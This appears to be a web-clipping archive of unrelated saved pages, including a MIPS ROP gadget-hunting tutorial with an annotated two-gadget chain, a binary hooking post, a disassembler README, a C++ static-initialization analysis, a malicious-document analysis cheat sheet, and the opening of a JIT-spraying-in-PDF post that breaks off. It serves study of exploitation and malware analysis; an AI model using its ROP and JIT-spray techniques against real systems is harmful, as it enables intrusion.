Uzbekistan |  900  |  1800  |  |  | 3G 2100 Uzdunrobita; 3G 2100 Ucell; 3G 2100 UNITEL;  | 4G LTE Beeline 2600Mhz; 4G LTE UCell 2600Mhz;   
Vanuatu |  900  |  |  |  | 3G 900 Digicel; | 4G LTE WanTok Band 40  
Venezuela |  900  |  1800  |  |  850  | 3G 900 Digitel; 3G 1900 Movilnet Venezuela; 3G 1900 Movistar;  | 4G LTE Digitel 1800Mhz; 4G LTE Movistar Venezuela 1700/2100Mhz ;   
Vietnam |  900  |  1800  |  |  | 3G 2100 Vietnamobile; 3G 2100 Vietnam Mobile; 3G 2100 VinaPhone; 3G 2100 Viettel;  | 4G LTE Viettel   
Virgin Islands \(USA\) |  |  |  1900  |  850   
Wallis and Futuna | Service des Postes et des Telecommunications \(SPT\) de Wallis et Futuna offering the Internet and traditional land line phone service. There are no cell phone reception.   
West Bank / Gaza Strip |  900  |  1800  |  |  | 3G 2100 Cellcom;   
Western Sahara |  900  |  |  |  | GSM 900 IAM, Medi Telecom, Thuraya;   
Yemen |  900  |  |  |  | Yemen Mobile 3G CDMA  
Zambia |  900  |  |  |  | 3G 2100 Zamtel; 3G 2100 Airtel Zambia; | 4G LTE MTN ; 4G LTE Zamtel/Cell Z <img src='img/new2.gif' width='28' height='11' />;   
Zimbabwe |  900  |  |  |  | 3G 2100 ECONET; 3G 2100 NetOne; 3G 2100 Telecel Zimbabwe;  | 4G LTE Econet ; 4G LTE NetOne <img src='img/new2.gif' width='28' height='11' />; 4G LTE Telecel in 2016 <img src='img/new2.gif' width='28' height='11' />;   
Antarctica :  
Chilean Antarctic stations | GSM Claro and GSM Movistar; AMPS technology & Entel Chile GSM tower on King George Island   
Antarctica :  
Artigas Base \(Uruguay\) | GSM Antel \(Ericsson Technology\);   
Antarctica :  
Macquire Island, Mawson, Casey \(Australia\) | GSM Range Networks; GSM BTS & Altobridge Gateway Platform  
Antarctica :  
Aboa \(Finland\) | Global Networks Antarctica is interconnected for voice and GSM services through its facilities in Basel, Switzerland.   
Arctic region | Arctic 3G Gateway by Viola Systems, HSPA 3G \(3G modem/router\)   
# Country / Territory

|

# 900

|

# 1800

|

# 1900

|

# 850

|

# 3G

|

# 4G  
  

# Binary Hooking Problems « Insanely Low-Level

**Created:**| _5/14/2011 1:33:57 PM_  
---|---  
**Updated:**| _5/14/2011 1:33:57 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation reversing hooks_  
  

## Binary Hooking Problems

Most binary hooking engines write a detour in the entry point of the target
function. Other hooking engines patch the IAT table, and so on. One of the
problems with overwriting the entry point with a JMP instruction is that you
need _enough_ room for that instruction, usually a mere 5 bytes will suffice.

How do the hooking algorithms decide how much is “enough”?

Pretty easy, they use a dissasembler to query the size of each instruction
they scan, so if the total size of the instructions that were scanned is more
than 5 bytes, they’re done.  
As an example, usually, functions start with these two instructions:  
PUSH EBP  
MOV EBP, ESP

which take only 3 bytes. And we already said that we need 5 bytes total, in
order to replace the first instructions with our JMP instruction. Hence the
scan will have to continue to the next instruction or so, till we got at least
5 bytes.

So 5 bytes in x86 could contain from one instruction to 5 instructions \(where
each takes a single byte, obviously\). Or even a single instruction whose size
is longer than 5 bytes. \(In x64 you might need 12-14 bytes for a whole-
address-space JMP, and it only makes matter worse\).

It is clear why we need to know the size of instructions, since we overwrite
the first 5 bytes, we need to relocate them to another location, the
trampoline. There we want to _continue_ the execution of the original function
we hooked and therefore we need to continue from the _next_ instruction that
we haven’t override. And it is not necessarily the instruction at offset 5…
otherwise we might continue execution in the middle of an instruction, which
is pretty bad.

Lame hooking engines don’t use disassemblers, they just have a predefined
table of popular prologue instructions. Come a different compiled code, they
won’t be able to hook a function. Anyway, we also need a disassembler for
another reason, to tell whether we hit a dead end instruction, such as: RET,
INT 3, JMP, etc. These are hooking spoilers, because if the first instruction
of the target function is a simple RET \(thus the function doesn’t do
anything, leave aside cache side effects for now\), or even a “return 0″
function, which usually translates into “xor eax, eax; ret”, still takes only
3 bytes and we can’t plant a detour. So we find ourselves trying to override 5
bytes where the whole function takes several bytes \(< 5 bytes\), and we
cannot override _past_ that instruction since we don’t know what’s there. It
might be another function’s entry point, data, NOP slide, or what not. The
point is that we are not allowed to do that and eventually cannot hook the
function, fail.

Another problem is relative-offset instructions. Suppose any of the first 5
bytes is a conditional branch instruction, we will have to relocate that
instruction. Usually conditional branch instruction are only 2 bytes. And if
we copy them to the trampoline, we will have to convert them into the longer
variation which is 6 bytes and fix the offset. And that would work well. In
x64, RIP-relative instructions are also pain in the butt, as well as any other
relative-offset instruction which requires a fix. So there’s quiet a long list
of those and a good hooking engine has to support them all, especially in x64
where there’s no standard prologue for a function.

I noticed a specific case where WaitForSingleObject is being compiled to:  
XOR R8D, R8D  
JMP short WaitForSingleObjectEx

in x64 of course; the xor takes 3 bytes and the jmp is a short one, which
takes 2 bytes. And so you got 5 bytes total and should be able to hook it
\(it’s totally legal\), but the hook engine I uses sucked and didn’t allow
that.

So you might say, ok, I got a generic solution for that, let’s follow the
unconditional branch and hook that point. So I will hook WaitForSingleObjectEx
instead, right? But now you got to the dreaded entry points problem. You might
get called for a different entry point that you never meant to hook. You
wanted to hook WaitForSingleObject and now you end up hooking
WaitForSingleObjectEx, so all callers to WaitForSingleObject get to you,
that’s true. In addition, now all callers to WaitForSingleObjectEx get to you
_too_. That’s a big problem. And you can’t ever realize on whose behalf you
were called \(with a quick and legitimate solution\).

The funny thing about the implementation of WaitForSingleObject is that it was
followed immediately by an alignment NOP slide, which is never executed
really, but the hooking engine can’t make a use of it, because it doesn’t know
what we know. So unconditional branches screw up hooking engines if they show
up before 5 bytes from the entry point, and we just saw that following the
unconditional branch might screw us up as well with wrong context. So if you
do that, it’s ill.

What would you do then in such cases? Cause I got some solutions, although
nothing is perfect.

# — Spectrum

**Created:**| _2/10/2010 8:09:09 PM_  
---|---  
**Updated:**| _2/10/2010 8:09:16 PM_  
**Author:**| __  
**Tags:**| _bookmark setup_  
  

Spectrum

  * About
  * Download
  * Documentation
  * Issue Tracker
  * Contact

# About

Spectrum is an XMPP transport/gateway. It allows XMPP users to communicate
with their friends who are using one of the supported networks. Spectrum is
written in C++ and uses the Gloox XMPP library and libpurple for “legacy
networks”. Spectrum is open source and released under the GNU GPL.

### Supported networks

Spectrum supports a wide range of different networks such as ICQ, XMPP
\(Jabber, GTalk\), AIM, MSN, Facebook, Twitter, Gadu-Gadu, IRC and SIMPLE.

### Performance

In comparison with other gateways, Spectrum can handle more users while
keeping usage of resources lower. We are aware of installations where Spectrum
handles more than a thousand concurrent connections flawlessly.

  *   * ## News 
We've just silently released Spectrum 0.1 - http://spectrum.im/download/ .
Debian/Ubuntu packages will be available soon. \#spectrum \#xmpp \# 2010/02/07

  * ## Sponsors 
Thiessen IM

© Spectrum — Copyblogger theme design by Chris Pearson

  *[2010/02/07]: 2010/02/07 10:03:12

# OptiROP: Semantic Hunting for ROP with SMT and LLVM

**Created:**| _10/4/2013 7:33:15 AM_  
---|---  
**Updated:**| _10/4/2013 7:33:34 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  
<img src='img/2013syscan360-nguyen-
optirop-20hunting-20for-20rop-20gadgets-20in-20style-130930104212-phpapp02.pdf'
/>

# MIPS ROP IDA Plugin - /dev/ttyS0

**Created:**| _10/28/2013 8:09:13 AM_  
---|---  
**Updated:**| _10/28/2013 8:09:13 AM_  
**Author:**| __  
**Tags:**| _asm iDA rop Mips_  
  

# MIPS ROP IDA Plugin

By Craig | October 25, 2013 | Reverse Engineering, Tools
I’ve previously written some examples of how to exploit MIPS stack overflows
using ROP techniques. The problem is that finding suitable MIPS ROP gadgets
manually can be quite tedious, so I have added a new IDA plugin – mipsrop.py –
to my github repository.

This plugin searches the code segment\(s\) of your IDB looking for potentially
controllable jump instructions. You can then search the code surrounding these
controllable jumps for useful instructions that you might need in your ROP
chain.

“Controllable jumps” are defined as jumps whose destination addresses are
loaded from the stack, or from other registers \(typically during a stack
overflow you control several, if not all, of the MIPS subroutine registers,
for example\).

The plugin’s searches are “dumb” in that they don’t follow code branches, but
none-the-less it has proven to be quite effective. As a quick example, let’s
look inside a Linux MIPS libc library for ROP gadgets that will let us call
sleep\(1\) in order to force a cache flush.

First, we need to set up the argument to sleep; in MIPS, this means that we
need to load the value 1 into register $a0. A typical ROP gadget for
accomplishing this might look like:

1234| `li $a0, 1 ``// Set $a0 = 1``move $t9, $s0 ``// Set $t9 = $s0; we
control $s0 via a stack overflow, and can load it with the address of our next
ROP gadget``jalr $t9 ``// Jump to the address in $t9``nop`  
---|---  
This allows us to get the value 1 into the $a0 register and then jump to the
next ROP gadget. After activating the mipsrop.py plugin \(Alt+1 hotkey\), we
can easily search our controllable jumps for the “li $a0, 1″ instruction using
the mipsrop.find method:

<img src='img/Temp2_5001.png' width='909' height='391' alt='Searching for
gadgets that contain the "li $a0, 1" instruction' />

Searching for gadgets that contain the “li $a0, 1″ instruction

We can see that the first gadget, at offset 0x28BE4, works quite nicely:

<img src='img/Temp2_5004.png' width='512' height='57' alt='A typical "li $a0,
1" gadget' />

A typical “li $a0, 1″ gadget

With the argument to sleep now set up, our second ROP gadget needs to actually
call sleep; but, it also needs to force sleep to return to a location of our
choosing \(e.g., sleep needs to return to a third ROP gadget\). Indirect
function returns are ideally suited for this type of operation and generally
look something like this:

1234| `move $t9, $s2 ``// Set $t9 = $s2; we control $s2 via a stack overflow,
and can load it with the address of sleep()``lw $ra, 0x20($sp) ``// Load the
return address off the stack into $ra; since we control data on the stack, we
can get the address of the next ROP gadget loaded into $ra``jr $t9 ``// Jump
to $t9``addiu $sp, 0x24`  
---|---  
Because we control both $s2 and the data on the stack, we can control where
this code jumps to and what the return address is. If we load the address of
sleep into $s2 during our initial stack overflow, and place the address of our
third ROP gadget at $sp+0×20, this gadget will jump to the sleep function,
which, upon completion, will return to our third ROP gadget \(whatever that
may be\).

To find an indirect return gadget in our library, we’ll want to search for
controllable jumps that move a subroutine register into $t9, then perform a jr
instruction:

<img src='img/Temp2_5002.png' width='900' height='332' alt='Searching for
indirect return gadgets' />

Searching for indirect return gadgets

The gadget at offset 0x2FFD4 loads the return address off the stack and jumps
to whatever address is stored in $s2:

<img src='img/Temp2_5003.png' width='667' height='127' alt='A typical indirect
return gadget' />

A typical indirect return gadget

Combining this with the first gadget at offset 0x28BE4 gives us a two gadget
ROP chain which will call sleep\(1\), then continue execution from whatever
arbitrary address that we place on the stack at $sp+0×24:

12345678910111213141516| `loc_28BE4:`` ``li $a0, 1 ``// Set $a0 = 1; this is
where we return to after our stack overflow`` ``move $t9, $s0 ``// Set $t9 =
$s0; we control $s0 via the initial stack overflow, and can load it with the
address of our next ROP gadget at 0x2FFD4`` ``jalr $t9 ``// Jump to the
address in $t9 ($t9 == $s0 == 0x2FFD4)`` ``li $a2, 1` `...` `loc_2FFD4:``
``move $t9, $s2 ``// Set $t9 = $s2; we control $s2 via the initial stack
overflow, and can load it with the address of sleep()`` ``lw $ra, 0x24($sp)
``// Load sleep's return address off the stack into $ra; we control the stack,
and can put an arbitrary address here`` ``lw $s2, 0x20($sp)`` ``lw $s1,
0x1C($sp)`` ``lw $s0, 0x18($sp)`` ``jr $t9 ``// Jump to $t9 ($t9 == $s2 ==
sleep)`` ``addiu $sp, 0x28`  
---|---  
And that’s pretty much how ROP works in MIPS: find some controllable jalr’s /
jr’s that you can chain together to perform a required sequence of
instructions while maintaining control of execution.

A few other mipsrop methods you might want to play with are:

  * mipsrop.help\(\) – Shows help/usage of mipsrop methods
  * mipsrop.system\(\) – Lists all existing calls to system\(\) which point the command string at the stack
  * mipsrop.summary\(\) – Prints a summary of all marked positions in the IDB that start with the string “ROP”

There are also some more examples/screenshots in the repository’s README file.
Happy ROPing\!

# plasma-disassembler/plasma

**Created:**| _9/4/2017 9:35:07 AM_  
---|---  
**Updated:**| _9/4/2017 9:35:07 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# PLASMA

The old project name was **Reverse**.

` PLASMA ` is an interactive disassembler. It can generate a more readable
assembly \(pseudo code\) with colored syntax. You can write scripts with the
available Python api \(see an example below\). The project is still in big
development.

wiki : TODO list and some documentation.

It supports :

  * architectures : x86\{64\}, ARM, MIPS\{64\} \(partially for ARM and MIPS\)
  * formats : ELF, PE, RAW

**Warning** : until structures and type definitions are not implemented, the
database compatibility could be broken.

## Requirements

  * python >= 3.4
  * capstone
  * python-pyelftools
  * pefile \+ python3-future
  * python-msgpack >= 0.4.6
  * ` c++filt ` \(available in the binutils Linux package\)
  * terminal should support UTF8 and 256 colors \(if not, use the option ` --nocolor `\)

Optional :

  * ` python-qt4 ` used for the memory map
  * keystone for the script asm.py

## Installation

[code]

    ./install.sh
    
[/code]

Or if you have already installed requirements with the previous command :

[code]

    ./install.sh --update
    
[/code]

Check tests :

[code]

    make
    ....................................................................................
    84/84 tests passed successfully in 2.777975s
    analyzer tests...
    ...
    
[/code]

## Pseudo-decompilation of functions

[code]

    $ plasma -i tests/server.bin
    >> v main
    # you can press tab to show the pseudo decompilation
    # | to split the window
    # See the command help for all shortcuts
    
[/code]

<img src='img/visual.png' width='888' height='494' alt='plasma' />

## Qt memory map \(memmap\)

The image is actually static. <img src='img/qt_memory.png' width='888'
height='89' alt='plasma' />

## Scripting \(Python API\)

See more on the wiki for the API.

Some examples \(these scripts are placed in plasma/scripts\) :

[code]

    $ plasma -i FILE
    plasma> py !strings.py             # print all strings
    plasma> py !xrefsto.py FUNCTION    # xdot call graph
    plasma> py !crypto.py              # detect some crypto constants
    plasma> py !asm.py CODE            # assemble with keystone
    plasma> py !disasm.py HEX_STRING   # disassemble a buffer
    
[/code]

  

# gynvael.coldwind//vx.log

**Created:**| _7/19/2011 7:13:58 PM_  
---|---  
**Updated:**| _7/19/2011 7:15:21 PM_  
**Author:**| __  
**Tags:**| _C++ compiler-building awesome_  
  

2011-07-14:

## Initialization of static variables

datadump:c:c++

I've never given too much thought to the problem of initialization of a local
variable with static storage in C++ \(and C\). I just blindly assumed that the
static variable works identically to a global variable, but is directly
accessible \(using language provided means\) only in the block of code \(and
its child blocks\) in which it was declared/defined. This is partly true - the
big difference is that the global variable is initialized either at
compilation time \(constant/zeroed\) or before the entry point, and the static
variable is initialized either at compilation time \(constant/zeroed\) or when
the execution first reaches it's declaration/definition. The interesting parts
here are "how does the variable know if it has been initialized?", "can
initialization fail and need to be rerun?", "what about concurrent multi-
threading?" \(the latter has some minor stability/security consequences\).
Let's take a look at GCC and Microsoft Visual C++ and how do they handle these
issues...  
  
**Quick note:**  
I'm using MinGW GCC version 4.5.2 and CL \(aka Microsoft C/C++ Optimizing
Compiler\) version 16.00.30319.01, both 32-bit versions.  
The tests were run on a Windows 7 on a 4 core PC.  
Also, by writing "static variable" I mean "local variable with static
storage".  
  

## Initialization of static variables

  
There are three cases here:  
  
1\. \(C/C++\) Uninitialized variable, e.g.: static int x;  
2\. \(C/C++\) Variable initialized with a constant, e.g.: static int y = 5;  
3\. \( C++ \) Variable initialized with a non-constant expression, e.g.:
static int z = func\(\);  
  
The first is simple - since a static variable is placed in the data section
\(same as global variables\) it will be initialized \(probably at compilation
time\) with a default value for a given type \(aka 0\).  
  
The second case can be implemented \(compiler-level of course\) in two
different ways: either by placing '5' in the data section at compilation time,
or by setting the variable to 5 at runtime \(see also case 3\).  
As one can see below, both GCC and CL in the default compilation mode \(I
didn't check any other compilation options than default ones\) place the
constant in the data section \(i.e. in the memory area reserved for that
specific static variable in the data section\) at compilation time:  
  
`**GCC:**  
.data  
.align 4  
_x.1659:  
.long 5`  
`**CL:**  
_DATA SEGMENT  
?x@?1??main@@9@9 DD 05H ; `main'::`2'::x  
_DATA ENDS`  
Btw, both first \(zero-initialization\) and second \(constant initialization\)
case are called "static initialization" in the standard \(I'm looking at a
half year old Working Draft for C++: "3.6.2 Initialization of non-local
variables", "3.7.1 Static storage duration" and "6.7 Declaration statement"
sections\). Speaking of the standard, let's see what the standard says about
the first and second case:  
  
`The zero-initialization [...] of all block-scope variables with static
storage duration [...] is performed before any other initialization takes
place.  
Constant initialization [...] of a block-scope entity with static storage
duration, if applicable, is performed before its block is first entered.`  
Looks like both GCC and CL meet the standard requirements in these cases
\(since compile-time initialization is in fact done waaay before the "block is
first entered"\).  
  
The third case is a little more tricky \(and available only in C++\), since
obviously the "func" functions must be called, and it can be called at most
once. Let's start with the said standard:  
  
`[...] Otherwise such a variable is initialized the first time control passes
through its declaration;  
such a variable is considered initialized upon the completion of its
initialization.`  
It basically says that **func\(\)** \(in our example\) will be called when the
execution first reaches the **static z = func\(\);** line, which makes sense.
And, after the function is successfully executed, the variable will be marked
as "initialized".  
  
Cool. But how do you mark that a variable is initialized? Well... you need
another variable - an "is initialized" variable that will be set once the
static variable is initialized, and will be checked each time the execution
reaches the static variable declaration/definition point.  
The image below shows how this is done exactly in CL:  
  
<img src='img/Temp2_10285.png' />  
So, there is another 4-byte \(native-word size?\) variable in the data section
\(I've marked it as guard\_x\) that is either 0 \(not initialized\) or 1
\(initialized\). If it's 0, it's set to 1 and then the variable is initialized
\(please note that it marks the variable as initialized before the
initialization is actually done - this is incorrect according to the draft I'm
looking at\).  
  
OK, and how does GCC do it? Let's take a look at this code generated with
-fdump-tree-original option:  
  
`static int x;  
if ((signed char) *(char *) &_ZGVZ4mainE1x == 0)  
{  
if (<<cleanup_point __cxa_guard_acquire (&_ZGVZ4mainE1x) != 0>>)  
{  
<<cleanup_point <<< Unknown tree: expr_stmt  
TARGET_EXPR <D.2549, 0>;, x = func ();;, D.2549 = 1;;, __cxa_guard_release
(&_ZGVZ4mainE1x); >>>  
>>;  
}  
}`  
So, the green variable is the "is initialized" variable, and the yellow color
marks the initialization itself.  
The additional \(if compared to the CL version\) things here are the
\_\_cxa\_guard\_acquire and \_\_cxa\_guard\_release functions, which basically
synchronize threaded access to the guard variable \(mutex\) - so the GCC
version is thread safe \(or, to be more precise, the initialization is thread
safe; using the static variable still poses the same old thread-related
problems as always\), but more about that in a moment. The
\_\_cxa\_guard\_release is also responsible for setting the "is initialized"
flag \(so it's more like "set and release" than "release" itself\).  
The implementation of these functions can be found in the
libstdc++-v3/libsupc++/guard.cc file in GCC source code.  
  
To summarize this part: a dynamic \(runtime\) initialization of a static
variable requires additional \(added by a compiler\) variable \(think: space,
usually native-word size\) and code \(think: CPU cycles\) to actually work.  
  

## Can initialization fail?

  
Actually, it can:  
  
`If the initialization exits by throwing an exception, the initialization is
not complete, so it will be tried again the next time control enters the
declaration.`  
So, in case the initialization is aborted CL needs to clear the "is
initialized" variable, and GCC needs just to release the mutex. In both cases
this is done in the "unwind" procedures that are executed when an exception is
hit.  
  
In case of CL the following code is called:  
  
`mov eax, guard_x  
and eax, 0FFFFFFFEh  
mov guard_x, eax  
retn`  
In case of GCC the \_\_\_cxa\_guard\_abort function is called, which basically
releases the mutex without setting the "is initialized" bit in the guard
variable.  
  
In both cases the initialization is executed again upon next time when the
execution reached the static variable declaration/definition.  
  

## Multi threading?

  
This is where things get interesting. Let's take a look a the standard first:  
  
`If control enters the declaration concurrently while the variable is being
initialized, the concurrent execution shall wait for completion of the
initialization.`  
And this is exactly how it's implemented in GCC. CL for some reasons \(maybe I
have too old version of CL, or too new version of the C++ standard draft\)
does not implement the synchronization mechanism, what can lead to some
interesting situations:  
  
**1\. N \(where N >1\) threads reach the static variable definition at the
exact same time.**  
In this case the initialization expression is executed N times instead of one.
This can lead to e.g. a memory leak \(think: a constructor for a static object
allocates a buffer; each thread will call new/malloc, but only one pointer
will be stored in the end\).  
I've done a simple experiment with a function declaring a static object of a
class that has a constructor that increments a global variable. The code fired
4 threads that were supposed to try to enter this function at the same time
\(or something close to that\). I've run this code 1100 times, and the results
are:  
  
\- Initialization expression was executed exactly 1 time : 338 times  
\- Initialization expression was executed exactly 2 times: 648 times  
\- Initialization expression was executed exactly 3 times: 114 times  
\- Initialization expression was executed exactly 4 times: 0 times \(which is
correct\)  
  
Please note that these are actually the statistics for "can a couple of
threads be fired at the almost-exact same time" \- and yes, they can \(if
coded correctly\).  
The "window" here is actually quite small \(please take a look at the colorful
graph a couple of lines above\) - just a couple of cycles. This decreases the
probability of this issue appearing in a real-world apps \(even if the bug
exists in code\).  
  
**2\. A thread starts executing the initialization expression, but it takes
time.**  
Well, since the CL initialization code starts with setting the "is
initialized" flag before the initialization even begins, it is possible that
another thread reaches the static variable declaration/definition, finds the
"is initialized" flag set, and continues execution using the static variable,
even though the initialization itself didn't yet finish \(please note, that if
the static variable is considered "init once, read only later", then the
programmer-provided access synchronization mechanisms are not required\).  
So yes, this may lead to a use-of-uninitialized-variable condition \(actually
it should be "initialized" with zeroes, and it can already be partly
initialized, which is an interesting case too\).  
  
**3\. A thread starts executing the initialization, and fails.**  
This is actually very similar to the previous case - there is a small time
window \(it starts when the 'is initialized' flag is set, and ends when the
'is initialized' flag is cleared in the unwinds procedure of the internal
exception handler\) when some other thread might jump in and think that the
variable is initialized, though it's initialization actually failed \(what
"failed" means is very case-dependent\).  
  
That being said, I must note that imho the odds of these kind of bugs being
found in some real-world code are rather small. Though it would be very
interesting if such a bug would lead to e.g. arbitrary code execution or
similar effect \(a stability issue is more probably imho\).  
  

## The End.

  
I'll end this post with warning messages in the MSDN documentation of the
"static" keyword:  
  
Visual Studio .NET 2003: \(no warning message found\)  
Visual Studio 2005: Assigning to a static local variable is not thread safe
and is not recommended as a programming practice.  
Visual Studio 2010/2008: Assigning a value to a static local variable in a
multithreaded application is not thread safe and we do not recommend it as a
programming practice.  
  
Guess that includes "dynamic initialization of a static local variable is not
thread safe" too. I wonder if CL is going to introduce the mutex-guarded
initialization any time soon, or will they just stick with the warnings in
MSDN.  
  
And that's that.  
  
Update: Some comments are also available at my Google+ stream.

## Comments:

2011-07-14 13:18:52 = MeMeK

\{

As for your 3rd case \(aka static int z = func\(\); \) I can add that sth
like:  
int foo\(int x\)  
\{  
static int a = foo\(x-1\);  
return a;  
\}  
is UB and causes infinite recursion despite presence of "is initialised" flag.

\}

2011-07-14 13:59:53 = Gynvael Coldwind

\{

@MeMeK  
Yeah, that's an interesting case too.  
I've seen it in the standard, but forgot to describe it.  
I'll take a look later how GCC and CL react to it \(unless someone does it
before me\).

\}

2011-07-14 16:08:41 = Seba

\{

The first violet blog i've ever seen.

\}

2011-07-14 17:51:02 = MeMeK

\{

@Gynvael Coldwind  
I've checked how it looks in GCC 3.4.5, GCC 4.5.2 and CL 16.00.30319.01 for
80x86  
  
CL 16.00.30319.01 for 80x86
\(http://memek.vexillium.org/tmp/static\_init\_cl.png\)  
The algorithm is as follows:  
1\. Check the guard\_x flag. If already initialised then go to 4.  
2\. Mark guard\_x flag as initialised.  
3\. Call \(recirsive\) function foo\(\).  
4\. Store result.  
  
GCC 3.4.5: \(http://memek.vexillium.org/tmp/static\_init\_gcc\_3\_4\_5.png\)  
The algorithm is as follows:  
1\. Check the guard\_x flag. If already initialised then go to 4.  
2\. Call \(recirsive\) function foo\(\).  
3\. Mark guard\_x flag as initialised.  
4\. Store result.  
  
At this point it should be noted that steps 2. and 3. are replaced. That is
why app compiled with GCC 3.4.5 falls into infinite recursion and compiled
with CL does not.  
  
GCC 4.5.2 is described in the post, and it behaves much like GCC 3.4.5 \(plus
it makes usage of mutex synchronization\), the "is initialised" flag is set
after function call so it also falls ito infinite recursion. But in this case
an exception "\_\_gnu\_cxx::recursive\_init\_error" is thrown.

\}

# Analyzing Malicious Documents Cheat Sheet by Lenny Zeltser

**Created:**| _7/20/2010 7:34:21 PM_  
---|---  
**Updated:**| _7/20/2010 7:34:37 PM_  
**Author:**| __  
**Tags:**| _cheat sheets security pdf_  
  

# Analyzing Malicious Documents Cheat Sheet

This cheat sheet outlines tips and tools for reverse-engineering malicious
documents, such as Microsoft Office \(DOC, XLS, PPT\) and Adobe Acrobat
\(PDF\) files.

## General Approach

  1. Locate potentially malicious embedded code, such as shellcode, VBA macros, or JavaScript.
  2. Extract suspicious code segments from the file.
  3. If relevant, disassemble and/or debug shellcode.
  4. If relevant, deobfuscate and examine JavaScript, ActionScript, or VB macro code.
  5. Understand next steps in the infection chain.

## Microsoft Office Binary File Format Notes

Structured Storage \(OLE SS\) defines a file system inside the binary
Microsoft Office file.

Data can be “storage” \(folder\) and “stream” \(file\).

Excel stores data inside the “workbook” stream.

PowerPoint stores data inside the “PowerPoint Document” stream.

Word stores data inside various streams.

## Tools for Analyzing Microsoft Office Files

OfficeMalScanner locates shellcode and VBA macros from MS Office \(DOC, XLS,
and PPT\) files.

DisView disassembles bytes at a given offset of an MS Office file. \(Part
ofOfficeMalScanner\)

MalHost-Setup extracts shellcode from a given offset in an MS Office file and
embeds it an EXE file for further analysis. \(Part ofOfficeMalScanner\)

Offvis shows raw contents and structure of an MS Office file, and identifies
some common exploits.

Office Binary Translator converts DOC, PPT, and XLS files into Open XML files
\(includes BiffView tool\).

OfficeCat scans MS Office files for embedded exploits that target several
known vulnerabilities.

FileHex \(not free\) and FileInsight hex editors can parse and edit OLE
structures.

## Useful MS Office Analysis Commands

OfficeMalScanner  _file.doc_ scan brute | Locate shellcode, OLE data, PE files in  _file.doc_  
---|---  
OfficeMalScanner  _file.doc_ info | Locate VB macro code in  _file.doc_ \(no XML files\)   
OfficeMalScanner _file.docx_ inflate | Decompress  _file.docx_ to locate VB code \(XML files\)   
DisView  _file.doc_ 0x4500 | Disassemble shellcode at 0x4500 in  _file.doc_  
MalHost-Setup  _file.doc_ _out.exe_ 0x4500 | Extract shellcode from  _file.doc_ ’s offset 0x4500 and create it as  _out.exe_  
## Adobe PDF File Format Notes

A PDF File is comprised of header, objects, cross-reference table \(to locate
objects\), and trailer.

“/OpenAction” and “/AA” \(Additional Action\) specifies the script or action
to run automatically.

“/Names”, “/AcroForm”, “/Action” can also specify and launch scripts or
actions.

“/JavaScript” specifies JavaScript to run.

“/GoTo\*” changes the view to a specified destination within the PDF or in
another PDF file.

“/Launch” launches a program or opens a document.

“/URI” accesses a resource by its URL.

“/SubmitForm” and “/GoToR” can send data to URL.

“/RichMedia” can be used to embed Flash in PDF.

“/ObjStm” can hide objects inside an Object Stream.

Be mindful of obfuscation with hex codes, such as “/JavaScript” vs.
“/J\#61vaScript”. \(See examples\)

## Tools for Analyzing Adobe PDF Files

PDFiD identifies PDFs that contain strings associated with scripts and
actions. \(Part of PDF Tools\)

PDF-parser identifies key elements of the PDF file without rendering it \(Part
of PDF Tools\)

Origami Walker examines the structure of PDF files.

Origami pdfscan identifies PDFs that contain strings associated with scripts
and actions.

Origami extractjs and Jsunpack-n’s pdf.py extract JavaScript from PDF files.

Sumatra PDF and MuPDF are lightweight and free viewers that may be used in
place of Adobe Acrobat.

Malzilla can extract and decompress zlib streams from PDFs, and can help
deobfuscate JavaScript.

Jsunpack-n can extract and decode JavaScript from pcap network captures, and
can decode PDF files.

CWSandbox, Wepawet, and Jsunpack can analyze some aspects of malicious PDF
files.

## Useful PDF Analysis Commands

pdfid.py  _file.pdf_ | Locate script and action-related strings in  _file.pdf_  
---|---  
pdf-parser.py _file.pdf_ | Show  _file.pdf_ ’s structure to identify suspect elements   
pdfscan.rb  _file.pdf_ | Examine and display  _file.pdf_ ’s structure \(Usage\)   
extractjs.rb  _file.pdf_ | Extract JavaScript embedded in  _file.pdf_  
pdf.py  _file.pdf_ | Extract JavaScript embedded in  _file.pdf_  
## Additional Malicious File Analysis Tools

ExeFilter can filter scripts from Office and PDF files.

ViCheck.ca automatically examines malicious Office and PDF files.

VirusTotal can scan files with multiple anti-virus tools to identify some
malicious documents.

## References

Adobe Portable Document Format \(PDF\) Reference

Physical and Logical Structure of PDF Files

Methods for Understanding and Analyzing Targeted Attacks with Office Documents
\(video\)

Analyzing MSOffice Malware with OfficeMalScanner \(follow-up presentation\)

PDF Security Analysis and Malware Threats

Malicious Origami in PDF \(follow-up presentation\)

OffVis 1.0 Beta: Office Visualization Tool article

Reverse-Engineering Malware cheat sheet

## Post-Scriptum

Special thanks for contributions and feedback to Pedro Bueno, Frank Boldewin,
and Didier Stevens. If you have suggestions for improving this cheat sheet,
please let me know.

This cheat sheet is distributed according to the Creative Commons v3
"Attribution" License. File version 1.9.

Take a look at my other security cheat sheets.

  

**About the Author:** Lenny Zeltser leads the security consulting practice at
Savvis, where he focuses on designing and operating security programs for
cloud-based IT infrastructure. Lenny's other area of specialization is
malicious software; he teaches how to analyze andcombat malware at SANS
Institute. Lenny explores security topics at conferences, in books and in
articles. He also volunteers as an incident handler at the Internet Storm
Center. You can follow Lenny on Twitterto stay in touch.

  

# JIT Spraying in PDF | Fortinet FortiGuard Blog
**Created:**| _2/11/2010 10:42:36 AM_  
---|---  
**Updated:**| _2/11/2010 10:42:47 AM_  
**Author:**| __  
**Tags:**| _Exploit Malware-analysis_  
  

# JIT Spraying in PDF

by **Haifei Li**  
February 10, 2010 at 9:55 am

You may have taken note of that recently, security researcher Dionysus
Blazakis presented a significant technology to bypass thshe DEP \(Data
Execution Prevention\) and ASLR \(Address space layout randomization\) at
BlackHat DC 2010, which is called “JIT Spraying” \(The white paper can be
found at here\).

In fact, JIT Spraying is a general idea, to generate executable code in
accordance with the attacker’s wish in the memory. In that presentation, the
researcher shows how to implement this technology in Adobe Flash ActionScript
Virtual Machine as an example.

As shown in my other post: A Look Back at PDF Vulnerabilities, Adobe Reader
could play Flash file independently \(without Adobe Flash Player installed in
the system\). Following quick test will show that the JIT Spraying therefore
works here as well.

1\. We use the same ActionScript code showed in the paper.

_var y = \(0×3c54d0d9 ^ 0×3c909058 ^ 0×3c59f46a ^ 0×3c90c801 ^ 0×3c9030d9 ^
0×3c53535b\);_

2\. We embed the .swf file into PDF. Note that the red-marked option parameter
makes playing the .swf file automatically.

